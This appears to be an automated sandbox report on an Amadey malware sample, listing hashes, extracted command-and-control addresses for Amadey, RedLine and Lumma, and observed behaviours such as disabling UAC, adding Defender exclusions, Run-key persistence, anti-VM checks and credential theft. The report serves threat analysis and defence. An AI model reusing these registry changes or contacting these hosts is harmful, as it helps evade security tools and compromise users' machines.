amadey | c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2024, 22:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
Size 1.8MB
Sample240402-18ldbafc6x
SHA256 c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c
MD5 14d327a35e85b94578f1262db8d18dc5
SHA1 2a158beb864527ee60f798df4739b22de5974d3e
SHA512 2cf3b35a6811d2793b08d54262dd8ac8c281cf5ebb111b7c8af09e36fdc3bebae37adbeedf3f7dfe4dd033374af172e0b8f15c80c4028839de837e414496c826
SSDEEP 49152:dZZm44Q4jtdD5ih1auItzAM64URDUesqJ43o88lkw:d7m44QuDih1aXtBvEDTsqqB8W
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey lumma redline risepro zgrat livetraffic discovery evasion infostealer persistence rat spyware stealer themida trojan

Malware Config

Extracted

Family

amadey

Version

4.18

http://193.233.132.56

Attributes

install_dir
09fd851a4f
install_file
explorha.exe
strings_key
443351145ece4966ded809641c77cfa8
url_paths
/Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

amadey

Version

4.18

http://193.233.132.56

Attributes

strings_key
443351145ece4966ded809641c77cfa8
url_paths
/Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

amadey

Version

4.17

http://185.215.113.32

Attributes

install_dir
00c07260dc
install_file
explorgu.exe
strings_key
461809bd97c251ba0c0c8450c7055f1d
url_paths
/yandex/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

4.185.137.132:1632

Extracted

Family

lumma

https://affordcharmcropwo.shop/api
https://enthusiasimtitleow.shop/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/files/0x000a000000023279-479.dat	family_zgrat_v1
behavioral1/files/0x0007000000023285-585.dat	family_zgrat_v1
behavioral1/files/0x0008000000023288-613.dat	family_zgrat_v1

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	cFIbElWVwn9lbCRw98Bk6t0y.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

resource	yara_rule
behavioral1/files/0x000900000002327c-510.dat	family_redline
behavioral1/files/0x0007000000023282-540.dat	family_redline
behavioral1/files/0x0007000000023283-545.dat	family_redline
behavioral1/files/0x0007000000023285-585.dat	family_redline
behavioral1/memory/4244-636-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	cFIbElWVwn9lbCRw98Bk6t0y.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	cFIbElWVwn9lbCRw98Bk6t0y.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	553124542c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	amert.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
60	2280	rundll32.exe
77	2232	rundll32.exe
122	6212	rundll32.exe
171	6520	rundll32.exe
77	2232	rundll32.exe
171	6520	rundll32.exe
233	5300	msiexec.exe

Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\DRIVERS\SET547F.tmp	MsiExec.exe
File created	C:\Windows\system32\DRIVERS\SET547F.tmp	MsiExec.exe
File opened for modification	C:\Windows\system32\DRIVERS\VBoxDrv.sys	MsiExec.exe

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	553124542c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cFIbElWVwn9lbCRw98Bk6t0y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cFIbElWVwn9lbCRw98Bk6t0y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	553124542c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	ucg.0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	explorgu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	D5zcKFEgL4ZVr497BdwOQxlN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	file300un.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	ucg.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	HDAFBAEBKJ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	explorha.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	NewB.exe

Executes dropped EXE 42 IoCs

pid	Process
3252	explorha.exe
3428	553124542c.exe
3160	explorha.exe
4476	go.exe
5868	amert.exe
2416	explorha.exe
1192	explorgu.exe
6668	alex1234.exe
6868	redlinepanel.exe
6988	Traffic.exe
7008	propro.exe
5096	32456.exe
1472	goldprimeldlldf.exe
6416	NewB.exe
6588	swiiiii.exe
6376	koooooo.exe
1676	go.exe
6428	random.exe
6980	file300un.exe
448	D5zcKFEgL4ZVr497BdwOQxlN.exe
6636	PaR0B66xZF1kcZCZP2cQEjfQ.exe
3312	ucg.0.exe
6412	Install.exe
2528	Install.exe
5356	ucg.1.exe
6848	oFkmUtcix5wIgdiTI9OyBufP.exe
3836	oFkmUtcix5wIgdiTI9OyBufP.exe
4536	oDQZEklJUxOfhrNFETE1pheU.exe
5904	oFkmUtcix5wIgdiTI9OyBufP.exe
5024	oFkmUtcix5wIgdiTI9OyBufP.exe
2452	oFkmUtcix5wIgdiTI9OyBufP.exe
5684	Install.exe
4240	Install.exe
3016	cFIbElWVwn9lbCRw98Bk6t0y.exe
6768	Assistant_108.0.5067.20_Setup.exe_sfx.exe
5656	assistant_installer.exe
4456	assistant_installer.exe
1568	HDAFBAEBKJ.exe
5600	explorha.exe
5480	NewB.exe
3284	5EBkYU3IyTBM5hcoaueyb3aD.exe
4940	ce-installer_7.14.2_vbox-6.1.20.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	553124542c.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	amert.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Wine	explorha.exe

Loads dropped DLL 22 IoCs

pid	Process
4100	rundll32.exe
2280	rundll32.exe
2232	rundll32.exe
3184	rundll32.exe
6212	rundll32.exe
6520	rundll32.exe
6848	oFkmUtcix5wIgdiTI9OyBufP.exe
3836	oFkmUtcix5wIgdiTI9OyBufP.exe
5904	oFkmUtcix5wIgdiTI9OyBufP.exe
5024	oFkmUtcix5wIgdiTI9OyBufP.exe
2452	oFkmUtcix5wIgdiTI9OyBufP.exe
5656	assistant_installer.exe
5656	assistant_installer.exe
4456	assistant_installer.exe
4456	assistant_installer.exe
3312	ucg.0.exe
3312	ucg.0.exe
5540	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Registers COM server for autorun 1 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{B1A7A4F2-47B9-4A1E-82B2-07CCD5323C3F}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B1A7A4F2-47B9-4A1E-82B2-07CCD5323C3F}\LocalServer32\ = "\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32\ = "C:\\Program Files\\Oracle\\VirtualBox\\VBoxC.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32\ThreadingModel = "Free"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32\ThreadingModel = "Both"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{74AB5FFE-8726-4435-AA7E-876D705BCBA5}\LocalServer32\ = "\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSDS.exe\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\InprocServer32\ThreadingModel = "Free"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\InprocServer32\ = "C:\\Program Files\\Oracle\\VirtualBox\\VBoxC.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{74AB5FFE-8726-4435-AA7E-876D705BCBA5}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32\ = "C:\\Program Files\\Oracle\\VirtualBox\\VBoxProxyStub.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32	msiexec.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x00070000000232e5-1205.dat	themida

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	cFIbElWVwn9lbCRw98Bk6t0y.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	5EBkYU3IyTBM5hcoaueyb3aD.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\553124542c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000042001\\553124542c.exe"	explorha.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\go.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000044001\\go.exe"	explorha.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\go.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1001082001\\go.exe"	explorgu.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\random.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1001084001\\random.exe"	explorgu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cFIbElWVwn9lbCRw98Bk6t0y.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\D:	oFkmUtcix5wIgdiTI9OyBufP.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\F:	oFkmUtcix5wIgdiTI9OyBufP.exe
File opened (read-only)	\??\F:	oFkmUtcix5wIgdiTI9OyBufP.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\D:	oFkmUtcix5wIgdiTI9OyBufP.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
129	pastebin.com
132	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
208	ipinfo.io
201	api.myip.com
202	api.myip.com
207	ipinfo.io

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00070000000231fe-74.dat	autoit_exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File created	C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.cat	MsiExec.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	MsiExec.exe
File opened for modification	C:\Windows\System32\GroupPolicy	cFIbElWVwn9lbCRw98Bk6t0y.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	cFIbElWVwn9lbCRw98Bk6t0y.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	cFIbElWVwn9lbCRw98Bk6t0y.exe
File opened for modification	C:\Windows\system32\DRVSTORE	MsiExec.exe
File created	C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.inf	MsiExec.exe
File opened for modification	C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.inf	MsiExec.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	cFIbElWVwn9lbCRw98Bk6t0y.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\system32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.sys	MsiExec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
1960	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
3252	explorha.exe
5868	amert.exe
2416	explorha.exe
1192	explorgu.exe
3016	cFIbElWVwn9lbCRw98Bk6t0y.exe
5600	explorha.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3252 set thread context of 3160	3252	explorha.exe	96
PID 6668 set thread context of 6760	6668	alex1234.exe	143
PID 1472 set thread context of 4244	1472	goldprimeldlldf.exe	153
PID 6588 set thread context of 6640	6588	swiiiii.exe	159
PID 6376 set thread context of 7060	6376	koooooo.exe	165
PID 6980 set thread context of 2340	6980	file300un.exe	189

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Oracle\VirtualBox\Qt5PrintSupportVBox.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxSDL.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_pl.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_el.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_zh_CN.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_bg.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_nl.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\doc\UserManual.pdf	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxDbg.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxDragAndDropSvc.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxNetDHCP.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\DbgPlugInDiggers.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\msvcp100.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxDD.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxGuestPropSvc.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\msvcr100.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VirtualBox.chm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_ko.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxWebSrv.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_lt.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxDDR0.r0	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\x86\VBoxRT-x86.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxSharedFolders.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\rhel3_ks.cfg	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.sys	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxHostChannel.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_uk.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_th.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\x86\msvcp100.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxCAPI.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxExtPackHelperApp.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_pt_BR.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VirtualBoxVM.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_cs.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\x86\VBoxClient-x86.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_zh_TW.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_tr.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_uk.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_zh_CN.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\License_en_US.rtf	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.inf	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_hr_HR.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_de.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\Qt5GuiVBox.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_fr.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\UICommon.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxManage.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VirtualBoxVM.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxSDS.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\win_nt5_unattended.sif	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\Qt5OpenGLVBox.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxAuthSimple.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_es.qm	msiexec.exe
